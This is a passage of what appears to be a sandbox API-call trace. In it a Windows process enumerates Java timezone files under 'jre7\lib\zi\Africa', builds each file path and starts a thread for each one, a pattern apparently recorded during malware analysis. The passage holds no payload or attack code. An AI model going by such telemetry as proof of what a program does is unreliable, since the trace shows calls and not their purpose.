lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb0 [0167.173] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Addis_Ababa", cAlternateFileName="ADDIS_~1")) returned 1 [0167.173] wcscmp (_String1="Addis_Ababa", _String2=".") returned 1 [0167.173] wcscmp (_String1="Addis_Ababa", _String2="..") returned 1 [0167.173] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0400 [0167.173] wcscpy (in: _Dest=0x8d0400, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.173] wcscat (in: _Dest=0x8d0400, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.173] wcscat (in: _Dest=0x8d0400, _Source="Addis_Ababa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa" [0167.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0400, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd90 [0167.174] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Algiers", cAlternateFileName="")) returned 1 [0167.174] wcscmp (_String1="Algiers", _String2=".") returned 1 [0167.174] wcscmp (_String1="Algiers", _String2="..") returned 1 [0167.174] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c878 [0167.174] wcscpy (in: _Dest=0x93c878, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.174] wcscat (in: _Dest=0x93c878, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.175] wcscat (in: _Dest=0x93c878, _Source="Algiers" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Algiers") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Algiers" [0167.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c878, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170c [0167.176] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Asmara", cAlternateFileName="")) returned 1 [0167.176] wcscmp (_String1="Asmara", _String2=".") returned 1 [0167.176] wcscmp (_String1="Asmara", _String2="..") returned 1 [0167.176] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c260 [0167.176] wcscpy (in: _Dest=0x93c260, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.176] wcscat (in: _Dest=0x93c260, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.176] wcscat (in: _Dest=0x93c260, _Source="Asmara" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Asmara") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Asmara" [0167.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1710 [0167.177] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bamako", cAlternateFileName="")) returned 1 [0167.177] wcscmp (_String1="Bamako", _String2=".") returned 1 [0167.177] wcscmp (_String1="Bamako", _String2="..") returned 1 [0167.177] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93c3c8 [0167.177] wcscpy (in: _Dest=0x93c3c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.177] wcscat (in: _Dest=0x93c3c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.177] wcscat (in: _Dest=0x93c3c8, _Source="Bamako" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bamako") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bamako" [0167.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c3c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1714 [0167.178] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bangui", cAlternateFileName="")) returned 1 [0167.178] wcscmp (_String1="Bangui", _String2=".") returned 1 [0167.178] wcscmp (_String1="Bangui", _String2="..") returned 1 [0167.178] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93bcc0 [0167.178] wcscpy (in: _Dest=0x93bcc0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.178] wcscat (in: _Dest=0x93bcc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.178] wcscat (in: _Dest=0x93bcc0, _Source="Bangui" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bangui") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bangui" [0167.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bcc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0 [0167.180] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Banjul", cAlternateFileName="")) returned 1 [0167.180] wcscmp (_String1="Banjul", _String2=".") returned 1 [0167.180] wcscmp (_String1="Banjul", _String2="..") returned 1 [0167.180] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93cad0 [0167.180] wcscpy (in: _Dest=0x93cad0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.180] wcscat (in: _Dest=0x93cad0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.180] wcscat (in: _Dest=0x93cad0, _Source="Banjul" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Banjul") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Banjul" [0167.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11a8 [0167.181] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bissau", cAlternateFileName="")) returned 1 [0167.181] wcscmp (_String1="Bissau", _String2=".") returned 1 [0167.181] wcscmp (_String1="Bissau", _String2="..") returned 1 [0167.181] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x93bf90 [0167.181] wcscpy (in: _Dest=0x93bf90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.182] wcscat (in: _Dest=0x93bf90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.182] wcscat (in: _Dest=0x93bf90, _Source="Bissau" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bissau") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bissau" [0167.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93bf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1718 [0167.183] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blantyre", cAlternateFileName="")) returned 1 [0167.183] wcscmp (_String1="Blantyre", _String2=".") returned 1 [0167.183] wcscmp (_String1="Blantyre", _String2="..") returned 1 [0167.183] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c968 [0167.183] wcscpy (in: _Dest=0x93c968, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.183] wcscat (in: _Dest=0x93c968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.183] wcscat (in: _Dest=0x93c968, _Source="Blantyre" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Blantyre") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Blantyre" [0167.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1660 [0167.185] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Brazzaville", cAlternateFileName="BRAZZA~1")) returned 1 [0167.185] wcscmp (_String1="Brazzaville", _String2=".") returned 1 [0167.185] wcscmp (_String1="Brazzaville", _String2="..") returned 1 [0167.185] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8cff80 [0167.185] wcscpy (in: _Dest=0x8cff80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.185] wcscat (in: _Dest=0x8cff80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.185] wcscat (in: _Dest=0x8cff80, _Source="Brazzaville" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Brazzaville") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Brazzaville" [0167.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cff80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0167.186] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bujumbura", cAlternateFileName="BUJUMB~1")) returned 1 [0167.186] wcscmp (_String1="Bujumbura", _String2=".") returned 1 [0167.186] wcscmp (_String1="Bujumbura", _String2="..") returned 1 [0167.186] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0c00 [0167.186] wcscpy (in: _Dest=0x8d0c00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.186] wcscat (in: _Dest=0x8d0c00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.186] wcscat (in: _Dest=0x8d0c00, _Source="Bujumbura" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bujumbura") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Bujumbura" [0167.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0c00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1878 [0167.187] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x419, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cairo", cAlternateFileName="")) returned 1 [0167.187] wcscmp (_String1="Cairo", _String2=".") returned 1 [0167.187] wcscmp (_String1="Cairo", _String2="..") returned 1 [0167.187] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c620 [0167.188] wcscpy (in: _Dest=0x93c620, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.188] wcscat (in: _Dest=0x93c620, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.188] wcscat (in: _Dest=0x93c620, _Source="Cairo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Cairo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Cairo" [0167.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1848 [0167.189] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="Casablanca", cAlternateFileName="CASABL~1")) returned 1 [0167.189] wcscmp (_String1="Casablanca", _String2=".") returned 1 [0167.189] wcscmp (_String1="Casablanca", _String2="..") returned 1 [0167.189] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0380 [0167.189] wcscpy (in: _Dest=0x8d0380, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.189] wcscat (in: _Dest=0x8d0380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.189] wcscat (in: _Dest=0x8d0380, _Source="Casablanca" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Casablanca") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Casablanca" [0167.189] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0380, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x172c [0167.190] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x458, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ceuta", cAlternateFileName="")) returned 1 [0167.190] wcscmp (_String1="Ceuta", _String2=".") returned 1 [0167.190] wcscmp (_String1="Ceuta", _String2="..") returned 1 [0167.190] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c800 [0167.190] wcscpy (in: _Dest=0x93c800, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.190] wcscat (in: _Dest=0x93c800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.190] wcscat (in: _Dest=0x93c800, _Source="Ceuta" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ceuta") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Ceuta" [0167.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1730 [0167.192] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Conakry", cAlternateFileName="")) returned 1 [0167.192] wcscmp (_String1="Conakry", _String2=".") returned 1 [0167.192] wcscmp (_String1="Conakry", _String2="..") returned 1 [0167.192] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x93c170 [0167.192] wcscpy (in: _Dest=0x93c170, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.192] wcscat (in: _Dest=0x93c170, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.192] wcscat (in: _Dest=0x93c170, _Source="Conakry" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Conakry") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Conakry" [0167.192] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1734 [0167.193] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dakar", cAlternateFileName="")) returned 1 [0167.193] wcscmp (_String1="Dakar", _String2=".") returned 1 [0167.193] wcscmp (_String1="Dakar", _String2="..") returned 1 [0167.193] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c530 [0167.193] wcscpy (in: _Dest=0x93c530, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.193] wcscat (in: _Dest=0x93c530, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.193] wcscat (in: _Dest=0x93c530, _Source="Dakar" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dakar") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dakar" [0167.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93c530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1738 [0167.195] FindNextFileW (in: hFindFile=0x8d9e90, lpFindFileData=0x92aa28 | out: lpFindFileData=0x92aa28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745091e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745091e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745091e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x55, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dar_es_Salaam", cAlternateFileName="DAR_ES~1")) returned 1 [0167.195] wcscmp (_String1="Dar_es_Salaam", _String2=".") returned 1 [0167.195] wcscmp (_String1="Dar_es_Salaam", _String2="..") returned 1 [0167.195] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x12c51380 [0167.195] wcscpy (in: _Dest=0x12c51380, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa" [0167.195] wcscat (in: _Dest=0x12c51380, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0167.195] wcscat (in: _Dest=0x12c51380, _Source="Dar_es_Salaam" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dar_es_Salaam") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Dar_es_Salaam" [0167.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c51380, 